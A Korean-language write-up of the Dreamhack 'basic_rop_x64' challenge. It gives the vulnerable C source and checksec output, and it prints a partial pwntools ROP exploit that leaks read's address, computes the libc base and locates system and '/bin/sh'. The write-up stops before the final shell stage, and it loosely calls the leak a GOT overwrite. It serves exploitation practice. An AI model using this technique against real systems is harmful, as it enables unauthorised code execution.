드림핵 basic_rop_x64 문제 입니다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
위 C언어 코드의 취약점은 read(0, buf, 0x400)이다.
read(0, buf, 0x400)
위 코드에서 BOF로 인한 취약점이 발생한다
CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
checksec 실행 결과
canary는 없으므로 카나리 릭은 안해도 되고
NX가 켜져 있으므로 GOT Overwrite으로 해킹한다.
from pwn import *
p = remote('host3.dreamhack.games', 12868)
# p = process('./basic_rop_x64')
e = ELF('./basic_rop_x64')
libc = ELF("./libc.so.6")
# context.log_level='debug'
read_plt = e.plt['read']
read_got = e.got['read']
put_plt = e.plt['puts']
pop_rdi = 0x0000000000400883
pop_rsi_r15 = 0x0000000000400881
ret = 0x00000000004005a9
main = 0x00000000004007ba
위 같은 코드로 필요한 주소들은 구한다.
read plt는 read 함수를 호출하고, read got에 overwrite를 하고, put plt로 read 주소 노출 read 주소로 라이브러리 베이스를 구한다
pay = b'A'*0x48
pay += p64(pop_rdi) + p64(read_got)
pay += p64(put_plt)
pay += p64(main)
p.send(pay)
p.recvuntil(b'A'*0x40)
read = u64(p.recvn(6) + b'\\x00'*2)
print(p64(read))
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
binsh = lb + 0x1d8698
pop_rdx_rbx = lb + 0x0000000000090529
위와 같이 pop rdi에 read got 주소를 주입 put plt로 출력, 그리고 받은 뒤 다시 메인으로 돌아가 페이로드가 끊기지 않게 한다. 거기에 아까 받은 read got 주소를 통해 libc 베이스를 구하고, 그것으로 시스템 함수와 binsh 문자열, rdx의 리턴 가젯이 없으므로 라이브러리에 있는 rdx의 주소를 얻는다
(여기서 rdx를 구하는 이유는 put으로 인해 rdx의 값이 바뀌므로 rdx를 다시 호출하고 값을 넣음으로써 우리가 원하는 값을 넣을 크기를 만들어준다)